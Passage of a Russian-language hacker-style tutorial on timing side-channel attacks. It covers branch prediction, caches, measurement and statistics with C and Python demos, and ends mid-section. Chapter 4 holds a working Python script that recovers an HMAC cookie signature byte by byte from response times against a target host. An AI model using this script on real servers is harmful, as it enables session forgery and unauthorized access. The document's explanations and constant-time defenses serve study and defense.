Глава 1. Почему "Безопасно" - это не "Работает"
Скажи мне, вэбэ, как ты проверяешь, правильный ли пароль ввел юзер? Ну, кроме тех случаев, когда у тебя там SELECT * FROM users WHERE password = '".$_POST['pass']."' (за такое по голове лопатой, но мы знаем, ты так не делаешь... или делаешь?). Ты берешь строку из базы, хеш пароля, и сравниваешь.Чаще всего ты юзаешь что-то вроде strcmp() в PHP, == в Python или equals() в Java. И ты думашь: "Ну, я сравнил строки. Если они одинаковые - пускаю, если нет - шлю лесом. Безопасно же?".
А вот хер там. С этого момента я прошу тебя включить воображение.
Представь, что у тебя есть сейф с кодом 1234. Ты подходишь и начинаешь вводить цифры. Если ты ввел первую цифру неправильно, замок щелкает сразу и говорит "нет". А если ты угадал первую цифру, то механизм переходит ко второй, и ему нужно чуть больше времени, чтобы проверить вторую и понять, что ты лох.
Теперь представь, что у тебя есть супер-микрофон, который слышит разницу между щелчком "неправильно сразу" и паузой перед вторым щелчком.
Вот это и есть timing attack.
Мы не ломаем шифр математически (как эти задроты из академий). Мы не тыкаем миллиард паролей в секунду (нас заблочит Fail2Ban). Мы просто замеряем, сколько времени сервер мучается, прежде чем послать нас.
И знаешь, что в этом самое смешное? Это не баг в коде. Это фича физики. Это фича материи, из которой сделан твой процессор. Ты не можешь отмазаться, сказав "это глюк фреймворка". Это глюк реальности. И сегодня мы научимся его эксплуатировать.
1.1 Абстракции - враг правды
Знаешь, в чем главная проблема современного веба? В том, что среднестатистический вэбэ (давай уже назовем вещи своими именами - кодер) искренне верит в магию. Он пишет if (userInput === secretKey) { grantAccess(); } и считает, что компьютер просто мистическим образом понимает - равны строки или нет. Компьютер берет эти две последовательности байтов, смотрит на них своей электронной душой и выносит вердикт.Но, твою мать, компьютер - это не шаман с бубном. Это просто гора песка (кремния), которую научились травить кислотой, чтобы получились транзисторы. И единственное, что умеют делать эти транзисторы - это переключаться между состояниями "открыт" и "закрыт", пропуская ток или не пропуская. Весь твой Python, JavaScript, PHP - это просто тоненькая пленка абстракции, которая скрывает от тебя кровавую баню, происходящую внутри.
Когда ты пишешь strcmp(), на самом деле процессор выполняет сотни микро-действий. Он грузит данные из памяти (медленно), он сравнивает их по байтам (быстро, но с нюансами), он принимает решения (переходы) и пишет результат обратно. И каждое из этих действий оставляет след. След во времени. След в потреблении энергии. След в электромагнитном излучении.
Большинство разработчиков - как слепые котята в этом мире сигналов. Они видят только результат функции. А хакер смотрит на осциллограф. Или на точный таймер. И видит всю подноготную.
Практический инструмент: Перцептрон для программиста
Прежде чем мы пойдем дальше, давай проведем простейший эксперимент у тебя на локальной машине, чтоб ты прочувствовал момент. Забудь про сеть, просто скомпилируй и запусти. Это наш первый инструмент -микроскоп для кода.
Возьмем две простые функции на C. Не пугайся, это базово.
Файл: timing_test.c
C:
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <x86intrin.h> // Для __rdtsc
// Небезопасная функция сравнения (ветвится)
int unsafe_cmp(const char *a, const char *b, size_t len) {
for (size_t i = 0; i < len; i++) {
if (a[i] != b[i]) {
return 0; // Не равны
}
}
return 1; // Равны
}
// "Безопасная" функция (константное время)
int safe_cmp(const char *a, const char *b, size_t len) {
int result = 0;
for (size_t i = 0; i < len; i++) {
result |= a[i] ^ b[i];
}
return (result == 0);
}
int main() {
char secret[] = "mysupersecretkey";
char input1[] = "mysupersecretkez"; // Ошибка в последнем символе
char input2[] = "xysupersecretkey"; // Ошибка в первом символе
size_t len = strlen(secret);
uint64_t start, end;
int dummy; // чтоб компилятор не оптимизировал вызовы
printf("Длина ключа: %zu байт\n", len);
printf("--- Измеряем unsafe_cmp (с ветвлением) ---\n");
// Замер для input1 (ошибка в конце)
start = __rdtsc();
dummy = unsafe_cmp(secret, input1, len);
end = __rdtsc();
printf("Ошибка в конце: %llu тактов\n", (end - start));
// Замер для input2 (ошибка в начале)
start = __rdtsc();
dummy = unsafe_cmp(secret, input2, len);
end = __rdtsc();
printf("Ошибка в начале: %llu тактов\n", (end - start));
printf("--- Измеряем safe_cmp (без ветвлений) ---\n");
// Замер для input1
start = __rdtsc();
dummy = safe_cmp(secret, input1, len);
end = __rdtsc();
printf("Ошибка в конце: %llu тактов\n", (end - start));
// Замер для input2
start = __rdtsc();
dummy = safe_cmp(secret, input2, len);
end = __rdtsc();
printf("Ошибка в начале: %llu тактов\n", (end - start));
return 0;
}
Компилируем:
gcc -O2 timing_test.c -o timing_test (ключик -O2 важен, чтобы компилятор не выкинул наш код, но и оптимизировал как в реальной жизни). Запускаем ./timing_test.Ты увидишь картину маслом. В unsafe_cmp разница между "ошибка в начале" и "ошибка в конце" может составлять сотни, а то и тысячи тактов. Потому что во втором случае цикл проходит почти всю строку. В safe_cmp время будет одинаковым (плюс-минус шум). Поздравляю, ты только что собственными руками измерил утечку. Понял, да? Это не теория. Это физика. Разница в тысячу тактов - это огромная дыра, через которую можно вытащить ключ даже при очень плохом интернет-соединении.
1.2 Сейф с электронным замком
Помнишь мою метафору про сейф с механическим замком? Давай ее докрутим до электроники. Представь, что у тебя есть устройство, которое проверяет код. Оно работает так:- Принимает цифру.
- Сравнивает её с первой цифрой кода.
- Если не совпала - сразу зажигает красную лампочку.
- Если совпала - переходит к проверке следующей цифры.
Вот это и есть Timing Attack в чистом виде. Мы не видим код, мы видим только время реакции замка. И по этому времени мы восстанавливаем код по одной цифре.
1.3 Почему время вообще разное?
Теперь давай на пальцах, но честно. Почему вообще одна операция занимает разное время? Мы уже тронули ветвления и кэш. Теперь нырнем глубже.1.3.1 Конвейер и спекуляции (или как процессор гадает на кофейной гуще)
Современный процессор - это не просто конвейер на заводе, где одна машина приваривает колесо, следующая красит крыло. Современный процессор - это конвейер, который еще и пытается угадать, какая машина приедет следующей, и начинает красить еще не пришедшую машину, а если ошибся - быстро все смывает и начинает заново.В нашем коде if (a != b) - это точка ветвления. Процессор смотрит на историю предыдущих переходов. Если до этого все 15 символов совпадали, он думает: "Ага, сейчас, наверное, опять совпадет, пойду-ка я вперед, загружу инструкции для следующей итерации цикла". Он делает ставку.
Если мы подсовываем строку, где все первые 15 байт совпали с секретом, а 16-й - нет, процессор делает ставку на то, что совпадет и 16-й. Он начинает выполнять следующие инструкции (готовиться к 17-му байту!). И тут - облом. Байты не равны. Процессору приходится выкинуть всю наспех выполненную работу (сбросить конвейер) и пойти по ветке "return False". Эта очистка конвейера стоит десятков тактов.
А если мы подсовываем строку, где первый же байт не совпал, процессор смотрит на историю (пустую или негативную) и, скорее всего, даже не пытается гадать. Он просто сразу прыгает в ветку неудачи. Конвейер не сбрасывается.
Вывод: Чем больше совпадающих символов мы угадали, тем больше процессор "обнадеживается" и тем больнее (дольше) он выходит из цикла, когда натыкается на неверный символ. Эта боль - наша прибыль.
1.3.2 Кэш: Быстрая память и медленная правда
Кэш - это вообще отдельный мир. Представь, что тебе нужно прочитать книгу в библиотеке. Если книга лежит у тебя на столе (L1 кэш) - ты берешь её за 1 секунду. Если она в шкафу в комнате (L2 кэш) - нужно встать и подойти, это 5 секунд. Если она в хранилище в подвале (RAM) - это 100 секунд.Когда функция сравнения идет по массиву secret и массиву input, она загружает их в кэш. Первый доступ к байту секрета медленный (cache miss). Второй раз к тому же байту - быстрый (cache hit).
Хитрые атаки (типа Cache Timing) могут определить, какие именно части секрета сейчас в кэше, а какие нет. Это позволяет не просто узнать длину, а, например, восстановить ключ шифрования AES, если он используется в режиме, где ключ мелькает в таблицах замен (S-Boxы). Зная, к каким элементам S-Box был обращение, можно сузить пространство поиска ключа до неприличия. Это уже высший пилотаж, но суть та же: время доступа к памяти зависит от того, что делала программа до нас.
1.4 Демагогия против реальности: Ответ "сетевым скептикам"
Всегда найдутся умники, которые скажут: "Ага, но у нас же сеть! Там пакеты теряются, пинги скачут, нагрузка на сервер плавает. Ты никогда не поймаешь эти микросекунды через интернет!".На это у меня есть два слова: статистика и количество. Это как измерять толщину волоса линейкой с шагом в 1 см. С одной попытки - фиг. А если ты сделаешь 1000 замеров и возьмешь среднее - уже можно что-то разглядеть. А если сделаешь миллион замеров - ты увидишь даже микроны.
Да, сеть шумит. Да, на сервере крутится cron, который жрет CPU. Но если разница во времени выполнения на сервере между "правильным первым байтом" и "неправильным" составляет стабильные 500 наносекунд (0.5 микросекунды), а джиттер сети у тебя плюс-минус 1 миллисекунда (1000 микросекунд), то соотношение сигнал/шум - 1:2000. Кажется, что всё пропало? Хрен там.
Шум случаен. Он распределен по какому-то закону (обычно нормальному или пуассоновскому). А сигнал - постоянен. Если мы сделаем 10 000 замеров для каждого варианта байта, случайный шум усреднится и сведется к какому-то базовому значению, а систематическое отклонение от сигнала останется. Математика, блин, великая вещь. Конечно, тебе понадобится терпение и хорошая пропускная способность канала, чтобы не положить сервер, но это вопрос времени, а не возможности.
Глава 2. Физика для бедных: Почему код тормозит?
2.1 Архитектура фон Неймана как проклятие
Ты когда‑нибудь задумывался, почему процессор вообще работает не мгновенно? Потому что он вынужден таскать данные туда‑сюда. Есть память - огромное, но медленное хранилище. Есть процессор - маленький, но быстрый вычислитель. Между ними - узкая труба (шина), и всё это держится на тактовом генераторе, который дёргает весь этот цирк.Такт - это как удар сердца. За один удар процессор может сделать какое‑то элементарное действие: сложить два числа или прочитать ячейку из самого быстрого кэша. Частота в гигагерцах означает миллиарды ударов в секунду. Но даже 4 миллиарда ударов в секунду - это 0.25 наносекунды на такт. Свет проходит за это время всего 7 сантиметров. Понимаешь, на каких масштабах мы играем?
И вот представь: твоя программа на Python выполняет if a == b. Под капотом - интерпретатор, который крутится в цикле, дёргает C‑шные функции, те дёргают ассемблер, а ассемблерные инструкции превращаются в микрооперации, которые раздаются по исполнительным устройствам процессора. Каждая микрооперация требует определённого количества тактов. И это количество может варьироваться в зависимости от того, где лежат операнды: в регистрах (рядом), в кэше L1 (близко), в L2 (дальше), в оперативке (очень далеко) или на SSD (виртуальная память, подкачка - там вообще можно умереть от старости).
Вот это варьирование - и есть наша кормушка.
2.2 Три кита, на которых стоит Timing Attack
Мы уже обзывали их вкратце. Теперь разберём каждого кита под микроскопом.2.2.1 Ветвления и спекулятивное исполнение (или как процессор гадает на кофейной гуще)
Когда процессор встречает условный переход (je, jne после сравнения), он не знает, пойдёт программа дальше по циклу или выпрыгнет. Ждать, пока вычислятся все флаги, - значит простаивать конвейер. Инженеры придумали предсказатель переходов (branch predictor). Это хитрая таблица в процессоре, которая запоминает, куда чаще всего вела ветка в прошлом.Представь себе казино. Дилер (процессор) сдаёт карты (инструкции) на конвейер. Если он угадал, что игрок пойдёт ва‑банк, он заранее пододвигает фишки. Если ошибся - фишки приходится забирать, а игрок нервничает. Ошибка предсказания стоит дорого: от 10 до 20 тактов на современных архитектурах (а то и больше). Это называется штраф за неверное предсказание (branch misprediction penalty).
Теперь применим это к нашей функции сравнения с ветвлением:
C:
for (i = 0; i < len; i++) {
if (a[i] != b[i]) return 0;
}
Процессор на каждой итерации, пока байты равны, предсказывает, что цикл продолжится (переход назад). И он прав. Но как только встречается не равный байт, предсказание ломается: процессор думал, что снова будет переход на следующую итерацию, а тут - выход из цикла. Конвейер сбрасывается, начинается новый поток инструкций. И этот сброс занимает время.
Эксперимент в студию!
Давай напишем код, который покажет разницу воочию. Только теперь не на C, а с привлечением perf, чтобы замерить не только такты, но и количество ошибочных предсказаний.
Файл: branch_metrics.c
C:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define LEN 32
// Функция с ветвлением
int vulnerable_cmp(const char *a, const char *b, size_t n) {
for (size_t i = 0; i < n; i++) {
if (a[i] != b[i]) return 0;
}
return 1;
}
int main(int argc, char **argv) {
// Секрет - случайная строка
char secret[LEN+1];
char input[LEN+1];
// Заполняем случайными данными
for (int i = 0; i < LEN; i++) {
secret[i] = rand() % 256;
input[i] = rand() % 256;
}
secret[LEN] = 0;
input[LEN] = 0;
int iterations = 1000000;
int dummy = 0;
// Сценарий 1: первый байт не совпадает
input[0] = secret[0] ^ 0xff; // гарантированно другой
for (int i = 1; i < LEN; i++) input[i] = secret[i]; // остальные равны
for (int i = 0; i < iterations; i++) {
dummy ^= vulnerable_cmp(secret, input, LEN);
}
// Сценарий 2: совпадают все, кроме последнего
memcpy(input, secret, LEN);
input[LEN-1] ^= 0xff;
for (int i = 0; i < iterations; i++) {
dummy ^= vulnerable_cmp(secret, input, LEN);
}
// Чтобы компилятор не выкинул dummy
printf("%d\n", dummy);
return 0;
}
Компилируем:
gcc -O2 branch_metrics.c -o branch_metrics. Теперь запускаем под perf:
Bash:
perf stat -e branches,branch-misses ./branch_metrics
2.2.2 Кэш-память: где живут призраки
Кэш - это маленькая, но очень быстрая память прямо на кристалле процессора. Иерархия: L1 (32КБ на ядро, доступ за 3‑4 такта), L2 (256КБ, 10‑12 тактов), L3 (несколько МБ, общая, 30‑50 тактов). Оперативная память (RAM) - сотни тактов. Разница огромна.Когда программа читает данные, она сначала ищет их в L1, потом в L2, потом в L3, и только потом лезет в RAM. Если данные нашлись в кэше - это cache hit, быстро. Если нет - cache miss, медленно.
Атаки по времени на кэш бывают разных видов, но нас пока интересует простой факт: время доступа к памяти зависит от того, обращались ли к этому адресу недавно. Это позволяет определять, какие именно части секретных данных затронула программа.
Например, многие реализации AES используют таблицы замен (S‑box), индексируемые байтами ключа. Если злоумышленник может замерить время доступа к этим таблицам (или вытеснить их из кэша и потом замерить время восстановления), он может узнать байты ключа. Это классика - Cache-timing attack on AES (см. работы Бернстайна, Ошмы и др.).
Для веб‑приложений прямой кэш‑тайминг на сервере сложнее, но возможен, если злоумышленник имеет возможность выполнять код на том же физическом сервере (например, в облаке) - это уже атаки по сторонним каналам в мультитенантной среде. Но не будем забегать вперёд.
Практический пример: напишем программу, которая демонстрирует разницу между кэшированным и не кэшированным доступом.
Файл: cache_demo.c
C:
#include <stdio.h>
#include <stdint.h>
#include <x86intrin.h>
#include <stdlib.h>
#define ARRAY_SIZE 1024*1024 // 1M элементов
#define STRIDE 64 // шаг, чтобы попадать в разные кэш-линии
int main() {
uint8_t *array = malloc(ARRAY_SIZE);
if (!array) return 1;
// Прогрев: заполняем, чтобы страницы выделились физически
for (int i = 0; i < ARRAY_SIZE; i++) array[i] = 0;
uint64_t start, end;
volatile uint8_t tmp;
// Измеряем доступ к первому элементу (он должен быть в кэше после прогрева)
start = __rdtsc();
tmp = array[0];
end = __rdtsc();
printf("Access to cached (L1?) : %llu cycles\n", end - start);
// Сбрасываем кэш, читая большой объём данных
for (int i = 0; i < ARRAY_SIZE; i += STRIDE) {
tmp = array[i];
}
// Теперь array[0] должен быть вытеснен из кэша (если STRIDE достаточно большой)
start = __rdtsc();
tmp = array[0];
end = __rdtsc();
printf("Access to uncached (maybe RAM): %llu cycles\n", end - start);
free(array);
return 0;
}
Скомпилируй и запусти. Разница будет разительной: в первом случае 3‑5 тактов (если попал в L1), во втором - сотни тактов.
В контексте веб‑атак кэш редко используется напрямую, но косвенно влияет: например, при сравнении строк через memcmp реализация в glibc использует векторные инструкции (SSE, AVX), которые читают по 16 или 32 байта за раз. Если данные выровнены и уже в кэше, memcmp пролетит быстро, если нет - будут промахи и время вырастет. Это добавляет шума, но и создаёт дополнительные каналы утечки.
2.2.3 Длина строк и оптимизированные библиотеки
Мы уже говорили: функция сравнения, которая выходит при первом несовпадении, - идеальный кандидат. Но даже если ты используешь стандартную memcmp, реализация в glibc (для x86_64) написана на ассемблере с умными оптимизациями. Давай заглянем в исходники (они открыты, всё по‑честному).В файле sysdeps/x86_64/multiarch/memcmp-sse4.S ты увидишь, что для строк длиной меньше определённого порога используется простой байтовый цикл. Для длинных строк - сравнение блоками по 16 байт с помощью SSE. Но и там есть ветвления: если блоки равны, переход к следующему блоку; если нет - вычисление разницы и выход.
Таким образом, даже библиотечная функция, оптимизированная для скорости, не является constant-time (если только специально не сделана такой, как timingsafe_memcmp в OpenBSD). Поэтому многие языки высокого уровня, использующие Сишные memcmp, по умолчанию уязвимы.
В PHP функция strcmp тоже не безопасна. Именно поэтому в PHP 5.6 появилась hash_equals() - она реализует константное время через XOR. В Python есть hmac.compare_digest() с той же идеей.
2.3 Другие микроархитектурные утечки (для самых любопытных)
Кроме ветвлений и кэша, есть ещё множество источников вариаций времени. Краткий обзор:- Порты выполнения (execution ports): В процессорах несколько исполнительных блоков (для сложения, умножения, загрузки из памяти и т.д.). Если два соседних инструкции хотят один и тот же порт, возникает конфликт, и одна из них задерживается. Это может зависеть от данных.
- Конфликты в TLВ (буфер быстрого преобразования адресов): Если программа часто обращается к разным страницам памяти, происходят промахи TLB, которые тоже добавляют задержки.
- Энергопотребление (не время, но тоже канал): Разные инструкции потребляют разную мощность. Есть атаки по анализу мощности (power analysis), но они требуют физического доступа к устройству.
2.4 Как измерить время точно: обзор инструментов
Точность - вежливость королей и хакеров. Для измерения микроскопических интервалов нам нужны инструменты потоньше, чем секундомер.2.4.1 RDTSC (Read Time-Stamp Counter)
Это инструкция процессора x86, которая возвращает 64‑битный счётчик тактов с момента включения питания. Она не зависит от изменения частоты (в современных процессорах она постоянная, но бывают нюансы). Используется так:
C:
#include <x86intrin.h>
uint64_t start = __rdtsc();
// ... код ...
uint64_t end = __rdtsc();
uint64_t cycles = end - start;
Плюсы: максимальная точность, низкие накладные расходы.
Минусы: нужно писать на C/asm, не переносимо на ARM (там другие инструкции).
В Python можно использовать библиотеку percpu или встроенный time.perf_counter(), который на большинстве платформ использует RDTSC или его аналоги.
2.4.2
Системный вызов, возвращающий время в наносекундах. Точность зависит от реализации, обычно несколько десятков наносекунд. В Python time.perf_counter() использует именно его.
Python:
import time
t1 = time.perf_counter_ns()
# ...
t2 = time.perf_counter_ns()
elapsed_ns = t2 - t1
Плюсы: переносимость, простота.
Минусы: накладные расходы самого вызова (может быть несколько сотен наносекунд), что может быть сопоставимо с измеряемой величиной.
2.4.3
Для серьёзного профилирования используется perf, который может считать не только время, но и количество кэш‑промахов, ошибочных предсказаний и т.д. Это не для онлайн‑атаки, а для исследования.2.4.4 Калибровка и учёт накладных расходов
При измерении очень маленьких интервалов нужно вычитать время самого измерительного кода. Например, измерить пустой цикл с вызовом __rdtsc и вычесть его из результатов.2.5 Шум и статистика: как отсеивать выбросы
Ты никогда не получишь идеально чистое время. На результат влияют:- Прерывания (IRQ)
- Планировщик задач (переключение контекста)
- Турбо‑буст и изменение частоты
- Другие процессы, жрущие кэш
Базовые приёмы:
- Удаление выбросов (outliers): можно отбрасывать значения, выходящие за 3 сигмы, или брать медиану (она устойчивее к выбросам, чем среднее).
- Достаточный объём выборки: чем больше, тем точнее. Для сетевых атак с высоким шумом нужно десятки и сотни тысяч запросов.
- Проверка значимости: t‑тест (Стьюдента) позволяет определить, отличается ли среднее время для двух гипотез с заданной достоверностью.
Python:
import numpy as np
from scipy import stats
times_A = [...] # замеры для гипотезы A
times_B = [...] # замеры для гипотезы B
# Удаляем выбросы (например, выше 99 перцентиля)
cutoff_A = np.percentile(times_A, 99)
cutoff_B = np.percentile(times_B, 99)
filtered_A = [t for t in times_A if t <= cutoff_A]
filtered_B = [t for t in times_B if t <= cutoff_B]
# t-тест
t_stat, p_value = stats.ttest_ind(filtered_A, filtered_B)
if p_value < 0.01:
print("Разница статистически значима")
2.6 Практикум: Исследуем функцию сравнения на локальной машине
Давай соберём всё вместе и напишем скрипт на Python, который будет измерять время выполнения простой функции сравнения (встроенной strcmp через CFFI, чтобы было честно) для разных входных данных. Мы увидим разницу воочию, даже на высоком уровне.Файл: timing_attack_sim.py
Python:
import time
import numpy as np
import ctypes
import ctypes.util
# Загружаем libc (содержит strcmp)
libc = ctypes.CDLL(ctypes.util.find_library("c"))
strcmp = libc.strcmp
strcmp.argtypes = [ctypes.c_char_p, ctypes.c_char_p]
strcmp.restype = ctypes.c_int
secret = b"secret_key_1234" # 16 байт
def measure_time(input_str, samples=10000):
times = []
for _ in range(samples):
t1 = time.perf_counter_ns()
strcmp(secret, input_str)
t2 = time.perf_counter_ns()
times.append(t2 - t1)
# убираем выбросы (например, > 99 перцентиля)
cutoff = np.percentile(times, 99)
filtered = [t for t in times if t <= cutoff]
return np.median(filtered)
# Гипотеза 1: первый байт неверный
input1 = b"a" + secret[1:] # меняем первый символ
t1 = measure_time(input1, samples=20000)
# Гипотеза 2: первые 15 байт верные, последний неверный
input2 = secret[:15] + b"Z"
t2 = measure_time(input2, samples=20000)
print(f"Медианное время (ошибка в начале): {t1} нс")
print(f"Медианное время (ошибка в конце): {t2} нс")
print(f"Разница: {t2 - t1} нс")
Запусти на своей машине. Ты увидишь разницу. Она будет не такой огромной, как на чистом C из‑за накладных расходов Python и системных вызовов, но она будет. А если увеличить количество сэмплов и использовать более точные методы (например, замеры через RDTSC из C), разница станет явной.
Глава 3. Инструментарий хакера-метролога
Мы не просто "ребята с капюшонами", мы теперь инженеры-метрологи. Наша задача - измерять микроскопические промежутки времени. Обычный console.time() или microtime(true) в PHP нам не помогут - они слишком грубы. Нужен хардкор.- Локальный уровень (если есть shell на сервере или рядом):
- perf: Утилита в Linux, которая считает такты процессора. Позволяет замерить количество циклов, затраченных на выполнение конкретной функции. Это как стетоскоп для кода.
- RDTSC (Read Time-Stamp Counter): Инструкция в процессорах x86, которая возвращает количество тактов с момента включения питания. Если писать на C или ассемблере и воткнуть rdtsc до и после вызова функции, ты получишь эталонную точность. Python-модуль percpu позволяет делать что-то похожее.
- Уровень сети (наша реальность):
- Точные часы: В Python для этого есть time.perf_counter() и time.perf_counter_ns(). Они используют монотонные часы системы и максимально точны. Забудь про time.time() - он для бухгалтерии.
- TCP vs HTTP: Чем меньше жира, тем лучше. Мы будем слать сырые TCP-пакеты или максимально облегченные HTTP-запросы, чтобы минимизировать мусор. Библиотеки типа scapy или socket в Python - наше всё.
- Статистика: Тебе понадобится подружиться с математикой. Мы будем считать среднее, медиану (она лучше среднего, так как отсекает выбросы сети), и стандартное отклонение. Библиотеки numpy и scipy - твои новые лучшие друзья. Без них ты просто слепой котенок.
Глава 4. Практика: Взламываем "секретную куки-сессию" (на примере)
Допустим, мы имеем дело с типичным быдлокодером, который решил, что он гений. Он хранит сессию не в JWT (где всё на виду), а в базе данных, и идентифицирует юзера по хешу. Но не простому хешу, а с "подписью" - HMAC (Hash-based Message Authentication Code).Схема простая: Сервер читает нашу куку session=user_data. Чтобы убедиться, что мы не подменили user_data на "admin=1", к данным прилагается подпись signature = HMAC(secret_key, user_data).
Сервер получает куку, берет наш user_data, заново считает подпись своим секретным ключом и сравнивает с тем, что мы прислали. Если совпало - пускает.
Функция сравнения подписей выглядит так (псевдокод на Python, который можно встретить в реальных проектах):
Python:
def verify_signature(user_sig, calculated_sig):
if len(user_sig) != len(calculated_sig):
return False
# Наивное сравнение, которое сливает время
for i in range(len(calculated_sig)):
if user_sig[i] != calculated_sig[i]:
return False
return True
Видишь? Этот красавец проходит по байтам (или символам) и вылетает, как только находит несоответствие.
Секретный ключ - 128 бит, но HMAC выдает строку, скажем, 32 байта. Наша задача - угадать эти 32 байта.
Шаг 1. Калибровка
Мы не знаем ничего. Посылаем запрос с кукой, где подпись состоит из 32 нулей (0000...0000). Замеряем время ответа сервера (например, время получения HTTP 200 OK).Делаем это 1000 раз. Получаем среднее время T_base.
Теперь посылаем запрос с подписью, где мы угадываем первый байт.
Мы перебираем значения от 0 до 255 (или от 0x00 до 0xFF).
- Если серверный код внутри HMAC насчитал правильную подпись, а мы прислали левую, то на первой же итерации цикла (i=0) байты не сойдутся, и функция вернет False мгновенно. Время ответа будет примерно равно T_base.
- Если мы угадали первый байт, сервер перейдет ко второму байту, сравнит его, увидит, что он не совпадает, и только тогда вернет False. Это займет на одну итерацию цикла больше. Эта разница микроскопическая, но она есть.
Шаг 2. Техническая реализация
Тебе понадобится скрипт. Вот скелет, накидаю по-быстрому.
Python:
import socket
import time
import numpy as np
from itertools import product
TARGET_HOST = 'target.site'
TARGET_PORT = 80
BASE_COOKIE = "session=user_data; signature="
def send_request(signature_hex):
"""Шлем GET запрос и замеряем время получения первого байта ответа (TTFB)"""
cookie = BASE_COOKIE + signature_hex
request = f"GET / HTTP/1.1\r\nHost: {TARGET_HOST}\r\nCookie: {cookie}\r\nConnection: close\r\n\r\n"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Важно: запрещаем алгоритму Nagle, чтобы пакеты уходили сразу без задержек
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
sock.settimeout(5)
start = time.perf_counter_ns()
sock.connect((TARGET_HOST, TARGET_PORT))
sock.send(request.encode())
# Читаем первый байт ответа
sock.recv(1)
end = time.perf_counter_ns()
sock.close()
# Возвращаем время в наносекундах
return (end - start) / 1000.0 # в микросекундах для удобства
def attack_byte(position, known_prefix):
"""
Атакует один байт подписи.
known_prefix - уже угаданная часть подписи (hex строка)
position - номер байта, который сейчас атакуем (0-index)
"""
times = {}
# Перебираем все возможные значения байта (0-255)
for byte_val in range(256):
# Формируем полную подпись: known_prefix + текущий байт + мусор (нули)
current_guess_hex = known_prefix + f"{byte_val:02x}"
# Добиваем нулями до нужной длины (32 байта = 64 hex символа)
full_guess_hex = current_guess_hex.ljust(64, '0')
print(f"[*] Тестируем байт {position}: {byte_val:02x}")
samples = []
# Чем больше сэмплов, тем точнее, но дольше
for _ in range(500):
try:
t = send_request(full_guess_hex)
samples.append(t)
except Exception as e:
print(f"[!] Ошибка сети: {e}")
# Отсекаем выбросы, берем среднее
if samples:
# Используем медиану, она устойчива к сетевым лагам
times[byte_val] = np.median(samples)
else:
times[byte_val] = float('inf')
# Анализируем результаты. Находим байт с максимальным временем.
# (Потому что правильный байт заставляет сервер делать лишнюю итерацию)
best_byte = max(times, key=times.get)
print(f"[+] На позиции {position} угадан байт: {best_byte:02x} со временем {times[best_byte]}")
return best_byte
def main():
recovered_key = ""
for pos in range(32): # 32 байта
byte = attack_byte(pos, recovered_key)
recovered_key += f"{byte:02x}"
print(f"[*] Текущий ключ: {recovered_key}")
print(f"[+] Секретный ключ восстановлен: {recovered_key}")
if __name__ == "__main__":
main()
Важно: Этот код сырой. В реальной жизни тебе придется:
- Вычитать из времени запроса базовую линию (например, время ответа на заведомо неверный запрос с правильной длиной, чтобы учесть latency сети).
- Использовать более хитрые статистические тесты (например, t-критерий Стьюдента), чтобы понять, значима ли разница во времени, а не просто "показалось".
- Бороться с сетевыми аномалиями. Иногда пакет теряется, и время ответа улетает в космос. Такие выбросы нужно отбрасывать.
Глава 5. Подводные камни и контриеры (глазами хакера)
5.1 Сеть и её капризы: когда пинг пляшет
Ты, наверное, думаешь: «Ок, я буду слать запросы с localhost’а, там всё чисто». Но цель‑то в интернете. И тут начинается самое весёлое.5.1.1 Природа сетевого джиттера
Сетевой джиттер - это вариация задержки при передаче пакетов. Почему она возникает?- Очереди на маршрутизаторах: пакеты могут ждать, пока освободится канал.
- Разные пути: пакеты твоей сессии могут идти разными маршрутами (multipath), особенно если используешь несколько соединений.
- Потеря пакетов и повторная передача: на уровне TCP это вызывает дополнительные задержки.
- QoS (Quality of Service): провайдеры могут приоритезировать одни типы трафика и задерживать другие.
- Физические помехи: на Wi-Fi, например, пакеты могут сталкиваться.
5.1.2 Как не утонуть в шуме: статистика рулит
Единственный способ - сделать очень много измерений. Очень. Много.Эмпирическое правило: если разница во времени выполнения на сервере составляет S микросекунд, а стандартное отклонение сетевой задержки - N микросекунд, то тебе нужно примерно (N/S)^2 измерений для каждой гипотезы, чтобы различить их с достаточной уверенностью. Если N = 1000 мкс (1 мс), а S = 0.5 мкс, то нужно порядка 4 миллионов запросов. Это много, но не невозможно. Тысяча запросов в секунду в течение часа - это 3.6 миллиона.
Практические приёмы:
- Используй UDP вместо TCP, если протокол приложения позволяет. TCP имеет собственные механизмы задержек (ACK, congestion control), которые добавляют шума. Но в вебе мы обычно сидим на HTTP, так что придётся терпеть.
- Keep-Alive соединения. Открывай одно соединение и шли через него кучу запросов, чтобы избежать накладных расходов на handshake.
- Синхронизация времени. Абсолютные значения времени ответа содержат огромный шум из‑за RTT. Но мы можем использовать относительные измерения. Например, перед каждым запросом с тестируемым байтом отправлять эталонный запрос, заведомо неверный, и вычитать его время. Это компенсирует джиттер, если он меняется медленно.
- Фильтрация выбросов. Отбрасывай запросы, время которых отличается от медианы больше чем на 3 сигмы. Это убирает влияние случайных лагов.
- Используй процентили, а не среднее. Медиана устойчива к выбросам. Или, ещё лучше, триммированное среднее (отсечь 5% самых больших и 5% самых маленьких значений).
- Статистические тесты. t-критерий Стьюдента или U-критерий Манна‑Уитни помогут определить, значима ли разница между двумя наборами замеров.
Python:
import numpy as np
from scipy import stats
def collect_samples(func, guess, n=1000):
samples = []
for _ in range(n):
t = func(guess) # отправляет запрос, возвращает время в мкс
samples.append(t)
# отсекаем выбросы по интерквартильному размаху
q1, q3 = np.percentile(samples, [25, 75])
iqr = q3 - q1
lower = q1 - 1.5 * iqr
upper = q3 + 1.5 * iqr
filtered = [x for x in samples if lower <= x <= upper]
return np.median(filtered)
def compare_two_guesses(func, guess_a, guess_b, n_per_guess=5000):
med_a = collect_samples(func, guess_a, n_per_guess)
med_b = collect_samples(func, guess_b, n_per_guess)
# собираем сырые выборки для t-теста (лучше использовать непараметрический)
samples_a = [func(guess_a) for _ in range(n_per_guess)]
samples_b = [func(guess_b) for _ in range(n_per_guess)]
stat, p = stats.mannwhitneyu(samples_a, samples_b)
return med_a, med_b, p
5.1.3 Когда сеть слишком быстрая (спасибо, кэш)
